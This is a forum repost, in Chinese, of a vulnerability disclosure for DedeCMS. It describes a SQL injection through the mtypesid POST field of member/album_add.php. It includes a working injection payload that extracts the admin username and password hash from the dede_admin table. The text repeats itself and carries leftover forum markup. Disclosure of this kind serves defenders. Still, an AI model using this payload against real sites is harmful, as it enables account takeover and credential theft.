Dedecms会员中心album_add.php页面SQL注入漏洞
简要描述：[p=25, null, left]注册和关注wooyun好久了，dedecms一处注入，较鸡肋，之前变量覆盖的漏洞太轰动了，所以一直没发出，之前5月份最新版本测试的，目前最新版本应该是没修复的
漏洞需要会员，所以比较鸡肋啦[/p]详细说明：[p=25, null, left]发表文章处，post表单的mtypesid可以注入
/dedecmsnew/member/album_add.php
注入的代码：
mtypesid=1'),("'",'0','1367930810','p','0','2','-1','0','0',(SELECT concat(userid,0x5f,pwd,0x5f) FROM dede_admin where userid='admin'),'',
'','12333','','','1367930810','1367930810','4','image','test','3')#@`'`'
[/p][p=25, null, left]
[/p]
漏洞证明：
[p=25, null, left][/p]
漏洞需要会员，所以比较鸡肋啦[/p]详细说明：[p=25, null, left]发表文章处，post表单的mtypesid可以注入
/dedecmsnew/member/album_add.php
注入的代码：
mtypesid=1'),("'",'0','1367930810','p','0','2','-1','0','0',(SELECT concat(userid,0x5f,pwd,0x5f) FROM dede_admin where userid='admin'),'',
'','12333','','','1367930810','1367930810','4','image','test','3')#@`'`'
[/p][p=25, null, left]
漏洞证明：
[p=25, null, left]
评论
发新帖
作者最近主题
相关贴子
- discuz要晾？腾讯全资子公司Discuz！突然宣布关闭discuz.net发言权限
- 关键词排名下降了该怎么做
- 为什么还有热度这个东西
- 免费VIP视频播放器（爱奇艺 优酷 腾讯 乐视 芒果）
- 百度清风算法中seo搜索规范《网页标题作弊详解》
- 怎么选择合适自己的服务器？
- Web性能优化系列（2）：剖析页面绘制时间
- 网盘搜索神器2.2开源版
- Discuz网络推广网站推广四个方面
- 寻找好外链的四大常用方法
- 百度新闻源：内容为王 站长请转型
- 惊天消息：应用中心已屏蔽站点再次安装购买正版会上报站点信息
- Discuz!应用中心随便屏蔽站长授权说传播盗版说转移5次谁之过？
- Aria2一键安装及管理脚本，宝塔面板搭建AriaNg前端
- 站长窝即将通过工信部caogen8.vip新顶级域名备案！
- 苹果cms上传图片显示请求上传接口出现异常
- 使用SuperSpeed测试服务器到国内各区域的速度
- 2015年影响谷歌搜索引擎排名的因素调查（Moz版）
- 定时刷新网页软件1.1绿色版
- 支付宝认真陪伴领随机红包